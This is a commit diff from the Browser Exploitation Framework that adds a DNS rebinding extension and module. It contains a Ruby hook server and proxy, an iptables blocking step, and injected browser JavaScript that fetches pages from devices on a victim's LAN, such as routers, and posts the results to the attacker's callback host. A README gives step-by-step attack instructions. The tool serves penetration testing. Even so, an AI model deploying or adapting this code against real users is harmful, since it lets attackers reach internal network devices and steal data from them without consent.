Merge branch 'dns-rebinding'
Merging pull request #1105, including some bug fix.
This commit is contained in:
@@ -158,6 +158,9 @@ beef:
|
||||
enable: false
|
||||
ipec:
|
||||
enable: true
|
||||
# this is still experimental, we're working on it..
|
||||
# this is still experimental..
|
||||
dns:
|
||||
enable: true
|
||||
# this is still experimental..
|
||||
dns_rebinding:
|
||||
enable: false
|
||||
|
||||
@@ -12,8 +12,8 @@ end
|
||||
|
||||
# @note Prevent system from ever being used
|
||||
def system(args)
|
||||
puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base."
|
||||
exit
|
||||
puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base."
|
||||
exit
|
||||
end
|
||||
|
||||
# @note Prevent Kernel.system from ever being used
|
||||
|
||||
28
extensions/dns_rebinding/api.rb
Normal file
28
extensions/dns_rebinding/api.rb
Normal file
@@ -0,0 +1,28 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
module API
|
||||
|
||||
module ServHandler
|
||||
|
||||
BeEF::API::Registrar.instance.register(
|
||||
BeEF::Extension::DNSRebinding::API::ServHandler,
|
||||
BeEF::API::Server,
|
||||
'pre_http_start'
|
||||
)
|
||||
|
||||
def self.pre_http_start(http_hook_server)
|
||||
config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
address_http = config['address_http_internal']
|
||||
address_proxy = config['address_proxy_internal']
|
||||
port_http = config['port_http']
|
||||
port_proxy = config['port_proxy']
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Server.run_server(address_http, port_http) }
|
||||
Thread.new { BeEF::Extension::DNSRebinding::Proxy.run_server(address_proxy, port_proxy) }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
15
extensions/dns_rebinding/config.yaml
Normal file
15
extensions/dns_rebinding/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
beef:
|
||||
extension:
|
||||
dns_rebinding:
|
||||
enable: true
|
||||
name: 'DNS Rebinding'
|
||||
authors: ['Milovanov T.I.']
|
||||
#Addresses are split into internal/external for more convenient attack
|
||||
#from LAN.
|
||||
address_http_internal: '192.168.x.x'
|
||||
address_http_external: 'x.x.x.x'
|
||||
address_proxy_internal: '192.168.x.x'
|
||||
address_proxy_external: 'x.x.x.x'
|
||||
port_http: 80
|
||||
port_proxy: 81
|
||||
debug_mode: true
|
||||
230
extensions/dns_rebinding/dns_rebinding.rb
Normal file
230
extensions/dns_rebinding/dns_rebinding.rb
Normal file
@@ -0,0 +1,230 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
#Very simple HTTP server. Its task is only hook victim
|
||||
class Server
|
||||
@debug_mode = false
|
||||
def self.log(msg)
|
||||
if @debug_mode
|
||||
STDERR.puts msg.to_s
|
||||
end
|
||||
end
|
||||
|
||||
def self.run_server(address, port)
|
||||
server = TCPServer.new(address, port)
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
||||
loop do
|
||||
s = server.accept
|
||||
Thread.new(s) do |socket|
|
||||
victim_ip = socket.peeraddr[2].to_s
|
||||
|
||||
log "-------------------------------\n"
|
||||
log "[Server] Incoming request from "+victim_ip+"(Victim)\n"
|
||||
|
||||
response = File.read(File.expand_path('../views/index.html', __FILE__))
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
|
||||
proto = configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
hook_file = configuration.get("beef.http.hook_file")
|
||||
hook_uri = "#{proto}://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}#{hook_file}"
|
||||
|
||||
response.sub!('path_to_hookjs_template', hook_uri)
|
||||
|
||||
start_string = socket.gets
|
||||
socket.print "HTTP/1.1 200 OK\r\n" +
|
||||
"Content-Type: text/html\r\n" +
|
||||
"Content-Length: #{response.bytesize}\r\n" +
|
||||
"Connection: close\r\n"
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
socket.close
|
||||
|
||||
#Indicate that victim load all javascript and we can block it with iptables.
|
||||
dr_config = configuration.get("beef.extension.dns_rebinding")
|
||||
if start_string.include?("load")
|
||||
log "[Server] Block with iptables\n"
|
||||
port_http = dr_config['port_http']
|
||||
if BeEF::Filters::is_valid_ip?(victim_ip) && port_http.kind_of?(Integer)
|
||||
IO.popen(["iptables","-A","INPUT","-s","#{victim_ip}","-p","tcp","--dport","#{port_http}","-j","REJECT","--reject-with","tcp-reset"], 'r+'){|io|}
|
||||
else
|
||||
print_error "[Dns_Rebinding] victim_ip or port_http values are illegal."
|
||||
end
|
||||
end
|
||||
log "-------------------------------\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Proxy
|
||||
@queries = Queue.new
|
||||
@responses = {}
|
||||
@mutex_responses = nil
|
||||
@mutex_queries = nil
|
||||
@debug_mode = false
|
||||
|
||||
def self.send_http_response(socket, response, heads={})
|
||||
socket.print "HTTP/1.1 200 OK\r\n"
|
||||
|
||||
headers = {}
|
||||
headers["Content-Type"]="text/html"
|
||||
headers["Content-Length"]=response.size.to_s
|
||||
headers["Connection"]="close"
|
||||
headers["Access-Control-Allow-Origin"]="*"
|
||||
headers["Access-Control-Allow-Methods"]="POST, GET, OPTIONS"
|
||||
headers["Access-Control-Expose-Headers"]="Content-Type, method, path"
|
||||
headers["Access-Control-Allow-Headers"]="Content-Type, method, path"
|
||||
|
||||
headers_a = heads.to_a
|
||||
headers_a.each do |header, value|
|
||||
headers[header] = value
|
||||
end
|
||||
|
||||
headers.to_a.each do |header, value|
|
||||
socket.print header+": "+value+"\r\n"
|
||||
end
|
||||
|
||||
socket.print "\r\n"
|
||||
socket.print response
|
||||
end
|
||||
|
||||
def self.log(log_message)
|
||||
if @debug_mode
|
||||
STDERR.puts log_message
|
||||
end
|
||||
end
|
||||
|
||||
def self.read_http_message(socket)
|
||||
message = {}
|
||||
message['start_string'] = socket.gets.chomp
|
||||
message['headers'] = {}
|
||||
message['response'] = ""
|
||||
c = socket.gets
|
||||
while c != "\r\n" do
|
||||
name = c[/(.+): (.+)/, 1]
|
||||
value = c[/(.+): (.+)/, 2]
|
||||
message['headers'][name] = value.chomp
|
||||
c = socket.gets
|
||||
end
|
||||
length = message['headers']['Content-Length']
|
||||
if length
|
||||
#Ruby read() doesn't return while not read all <length> byte
|
||||
resp = socket.read(length.to_i)
|
||||
message['response'] = resp
|
||||
end
|
||||
return message
|
||||
end
|
||||
|
||||
def self.handle_victim(socket, http_message)
|
||||
log "[Victim]request from victim\n"
|
||||
log http_message['start_string'].to_s+"\n"
|
||||
|
||||
if http_message['start_string'].include?("POST")
|
||||
#Get result from POST query
|
||||
log "[Victim]Get the result of last query\n"
|
||||
|
||||
#Read query on which asked victim
|
||||
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2]
|
||||
log "[Victim]asked path: "+query+"\n"
|
||||
|
||||
length = http_message['headers']['Content-Length'].to_i
|
||||
content_type = http_message['headers']['Content-Type']
|
||||
log "[Victim]Content-type: "+content_type.to_s+"\n"
|
||||
log "[Vicitm]Length: "+length.to_s+"\n"
|
||||
|
||||
response = http_message['response']
|
||||
log "[Victim]Get content!\n"
|
||||
|
||||
send_http_response(socket, "ok")
|
||||
socket.close
|
||||
|
||||
log "[Victim]Close connection POST\n"
|
||||
log "--------------------------------\n"
|
||||
|
||||
@mutex_responses.lock
|
||||
@responses[query] = [content_type, response]
|
||||
@mutex_responses.unlock
|
||||
elsif http_message['start_string'].include?("OPTIONS")
|
||||
send_http_response(socket, "")
|
||||
socket.close
|
||||
log "[Victim]Respond on OPTIONS reques\n"
|
||||
log "--------------------------------\n"
|
||||
else
|
||||
#Look for queues from beef owner
|
||||
log "[Victim]Waiting for next query..\n"
|
||||
while @queries.size == 0
|
||||
end
|
||||
|
||||
#Get the last query
|
||||
@mutex_queries.lock
|
||||
log "[Victim]Get the last query\n"
|
||||
last_query = @queries.pop
|
||||
log "[Victim]Last query:"+last_query.to_s+"\n"
|
||||
@mutex_queries.unlock
|
||||
|
||||
response = last_query[2]
|
||||
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
|
||||
log "[Victim]Send next query to victim's browser\n"
|
||||
log "---------------------------------------------\n"
|
||||
socket.close
|
||||
end
|
||||
end
|
||||
|
||||
#Handle request from BeEF owner
|
||||
def self.handle_owner(socket, http_message)
|
||||
log "[Owner]Request from owner\n"
|
||||
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
|
||||
|
||||
if http_message['start_string'].include?("GET")
|
||||
if path != nil
|
||||
log "[Owner]Need path: "+path+"\n"
|
||||
@queries.push(['GET', path, ''])
|
||||
end
|
||||
elsif http_message['start_string'].include?("POST")
|
||||
log "[Owner]Get POST request\n"
|
||||
if path != nil
|
||||
@queries.push(['POST', path, http_message['response']])
|
||||
end
|
||||
end
|
||||
|
||||
#Waiting for response, this check should not conflict with thread 2
|
||||
while @responses[path] == nil
|
||||
end
|
||||
|
||||
@mutex_responses.lock
|
||||
log "[Owner]Get the response\n"
|
||||
response_a = @responses[path]
|
||||
@mutex_responses.unlock
|
||||
|
||||
response = response_a[1]
|
||||
content_type = response_a[0]
|
||||
|
||||
send_http_response(socket, response, {'Content-Type'=>content_type})
|
||||
|
||||
log "[Owner]Send response to owner\n"
|
||||
log "-------------------------------\n"
|
||||
socket.close
|
||||
end
|
||||
|
||||
def self.run_server(address, port)
|
||||
@server = TCPServer.new(address, port)
|
||||
@mutex_responses = Mutex.new
|
||||
@mutex_queries = Mutex.new
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
||||
loop do
|
||||
s = @server.accept
|
||||
Thread.new(s) do |socket|
|
||||
http_message = read_http_message(socket)
|
||||
if http_message['start_string'].include?("from_victim")
|
||||
handle_victim(socket, http_message)
|
||||
else
|
||||
handle_owner(socket, http_message)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
16
extensions/dns_rebinding/extension.rb
Normal file
16
extensions/dns_rebinding/extension.rb
Normal file
@@ -0,0 +1,16 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'DNS Rebinding'
|
||||
@full_name = 'DNS Rebinding'
|
||||
@description = 'DNS Rebinding extension'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/dns_rebinding/api.rb'
|
||||
require 'extensions/dns_rebinding/dns_rebinding.rb'
|
||||
8
extensions/dns_rebinding/views/index.html
Normal file
8
extensions/dns_rebinding/views/index.html
Normal file
@@ -0,0 +1,8 @@
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
var commandModuleStr = '<script src="path_to_hookjs_template" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
</head>
|
||||
</html>
|
||||
59
modules/network/dns_rebinding/README.md
Normal file
59
modules/network/dns_rebinding/README.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# Manual to DNS Rebinding (aka Anti DNS Pinning aka multiple A record) attack #
|
||||
|
||||
## How does attack work in general? ##
|
||||
|
||||
Attacker must have some domain and DNS server responds to DNS query for this domain.
|
||||
|
||||
When client's browser connects to the attacker's domain it gets two IP addresses:
|
||||
|
||||
* First IP address in the DNS response is address of Web page with malicious JavaScript.
|
||||
|
||||
* Second IP address is from victim's LAN, it is a target address.
|
||||
|
||||
The client's browser connects to the first IP address in the DNS response and retrieves the HTML file containing the attacker's
|
||||
JavaScript.
|
||||
|
||||
When the attacker's JavaScript initiates a request back to the attacker's domain via an
|
||||
XMLHttpRequest, the browser will again try to connect to the attacker's Web server. However,
|
||||
since the client's IP is now blocked, the browser will receive a TCP reset packet from the
|
||||
attacker's Web server.
|
||||
|
||||
The browser will automatically attempt to use the second IP address listed in the DNS response,
|
||||
which is the IP address of the client’s router. The attacker's JavaScript can now send requests to
|
||||
the router as well as view the responses.
|
||||
|
||||
## How to launch attack in BeEF? ##
|
||||
|
||||
1. First of all, you should register domain, for example *dnsrebinding.org* and register NS server with IP address where BeEF DNS server launched. For tests you can use https://freedns.afraid.org, free third-level domain registrar.
|
||||
2. Configure DNS Rebinding extension and module. In extension there are four main configs:
|
||||
|
||||
* *address_http_internal* - IP Address of small HTTP Server, that hooks victim. That address will be in DNS response for victim.
|
||||
|
||||
* *address_http_external* - If you behind NAT
|
||||
|
||||
* *address_proxy_internal* - Victim will send on that address responses from target LAN IP. May be the same as address_http.
|
||||
|
||||
* *address_proxy_external* - If you behind NAT
|
||||
|
||||
* *port_ proxy* - 81 by default
|
||||
|
||||
In module main config is *domain*. Module adds DNS rule to BeEF DNS database with the help of this config.
|
||||
|
||||
3. Hook victim by help of link contains new registered domain, for example *http://dnsrebinding.org*
|
||||
4. In BeEF UI open module "DNS Rebinding" and fill *target* field. (That is target IP from victim's LAN, for example 192.168.0.1) Then launch module for hooked browser. Module adds DNS rule with double A record in BeEF DNS database and sends JS.
|
||||
4. Victim's browser will send query to small HTTP Server of DNS Rebinding extension. Then extension block IP with the help of iptables. Then victim's browser will initiate second XMLHttpRequest to page. And that will be query to target IP. Then sends response from target IP to DNS Rebinding Proxy server.
|
||||
5. Open in your browser page http://address_proxy:port_proxy/**path**, where **path** is path you want get from target IP.
|
||||
For example, if **path** = **login.html** and target IP is 192.168.0.1 you get HTML page from victim's router, the same as http://192.168.0.1/login.php
|
||||
6. That is all.
|
||||
|
||||
Extension uses Iptables to block client. That is no good way, because system() is patched and Iptables need sudo. But victim's browser need get TCP RST from server right away XMLHttpRequest to successful attack.
|
||||
|
||||
Notice, attack is VERY DEMANDING, there are many things that can break it. For example:
|
||||
1. If victim's browser already have established connection with target IP in other tab, when browser gets DNS response from BeEF DNS server it will use second (local) IP address instead of public address.
|
||||
2. If victim's browser have unclear cache with target IP address, browser will use local IP.
|
||||
3. (!) If victim even has closed, TIME WAIT connection with target IP address - the same, browser will use local IP
|
||||
4. If victim broke attack (for example close tab with hook page), browser anyway save in cache ip address (local) of web page, and you should wait some time while cache will be clear again. In different browsers that time different.
|
||||
|
||||
## References ##
|
||||
1. http://en.wikipedia.org/wiki/DNS_rebinding
|
||||
1. https://code.google.com/p/rebind/downloads/list - DNS Rebinding tool implemented on C. Very good explanation of attack in archive: /docs/whitepaper.pdf
|
||||
51
modules/network/dns_rebinding/command.js
Normal file
51
modules/network/dns_rebinding/command.js
Normal file
@@ -0,0 +1,51 @@
|
||||
beef.execute(function() {
|
||||
var domain = "<%= @domain %>"
|
||||
if (window.location.href.indexOf(domain) == -1) {
|
||||
window.location.href = "http://"+domain+"/";
|
||||
} else {
|
||||
//Cut '/' from url
|
||||
var url = window.location.href.slice(0, -1);
|
||||
var url_callback = "<%= @url_callback %>";
|
||||
url_callback += '/?from=from_victim&&';
|
||||
|
||||
function get_next_query() {
|
||||
var xhr_callback = new XMLHttpRequest();
|
||||
//Synchronous because we do nothing without query from BeEF owner
|
||||
xhr_callback.open('GET', url_callback+'que=req', true);
|
||||
xhr_callback.onload = resolv_query;
|
||||
xhr_callback.send(null);
|
||||
}
|
||||
|
||||
function resolv_query() {
|
||||
var path = this.getResponseHeader('path');
|
||||
var method = this.getResponseHeader('method');
|
||||
var data = this.responseText;
|
||||
|
||||
//Asynchronous beacuse XHR2 don't work with responseType when synchronous
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open(method, url+path, true);
|
||||
xhr.responseType = 'arraybuffer'
|
||||
xhr.onload = function(e) {
|
||||
var blob = new Blob([this.response], {type: this.getResponseHeader('Content-Type')});
|
||||
console.log(blob);
|
||||
xhr_cb = new XMLHttpRequest();
|
||||
xhr_cb.open('POST', url_callback+'que=req&&path='+path, false);
|
||||
xhr_cb.send(blob);
|
||||
|
||||
elem = document.createElement("div");
|
||||
elem.id = 'log';
|
||||
elem.innerHTML = 'Downloaded: '+path;
|
||||
document.body.insertBefore(elem, document.body.childNodes[0]);
|
||||
}
|
||||
xhr.send(data);
|
||||
}
|
||||
|
||||
xhr1 = new XMLHttpRequest();
|
||||
xhr1.open('GET', url+'/?load', false);
|
||||
xhr1.send(null);
|
||||
if (xhr1.status == 200) {
|
||||
setInterval(get_next_query, 1000);
|
||||
}
|
||||
|
||||
}
|
||||
});
|
||||
18
modules/network/dns_rebinding/config.yaml
Normal file
18
modules/network/dns_rebinding/config.yaml
Normal file
@@ -0,0 +1,18 @@
|
||||
beef:
|
||||
module:
|
||||
dns_rebinding:
|
||||
enable: true
|
||||
category: "Network"
|
||||
name: "DNS Rebinding"
|
||||
description: "dnsrebind"
|
||||
domain: "dnsreb.beefproject.com"
|
||||
authors: ["Milovanov T.I."]
|
||||
target:
|
||||
working:
|
||||
C:
|
||||
min_ver: 1
|
||||
max_ver: 40
|
||||
O:
|
||||
min_ver: 1
|
||||
max_ver: 27
|
||||
not_working: ["All"]
|
||||
50
modules/network/dns_rebinding/module.rb
Normal file
50
modules/network/dns_rebinding/module.rb
Normal file
@@ -0,0 +1,50 @@
|
||||
class Dns_rebinding < BeEF::Core::Command
|
||||
def self.options
|
||||
domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')
|
||||
dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
url_callback = 'http://'+dr_config['address_proxy_external']+':'+dr_config['port_proxy'].to_s
|
||||
return [{
|
||||
'name'=>'target',
|
||||
'value'=>'192.168.0.1'
|
||||
},
|
||||
{
|
||||
'name'=>'domain',
|
||||
'value'=>domain
|
||||
},
|
||||
{
|
||||
'name'=>'url_callback',
|
||||
'value'=>url_callback
|
||||
}]
|
||||
end
|
||||
|
||||
def pre_send
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
dr_config = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding')
|
||||
|
||||
addr = dr_config['address_http_external']
|
||||
domain = BeEF::Core::Configuration.instance.get('beef.module.dns_rebinding.domain')
|
||||
target_addr = "192.168.0.1"
|
||||
|
||||
if @datastore[0]
|
||||
target_addr = @datastore[0]['value']
|
||||
end
|
||||
if @datastore[1]
|
||||
domain = @datastore[1]['value']
|
||||
end
|
||||
|
||||
id = dns.add_rule(
|
||||
:pattern => domain,
|
||||
:resource => Resolv::DNS::Resource::IN::A,
|
||||
:response => [addr, target_addr]
|
||||
)
|
||||
|
||||
dns.remove_rule!(id)
|
||||
|
||||
id = dns.add_rule(
|
||||
:pattern => domain,
|
||||
:resource => Resolv::DNS::Resource::IN::A,
|
||||
:response => [addr, target_addr]
|
||||
)
|
||||
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user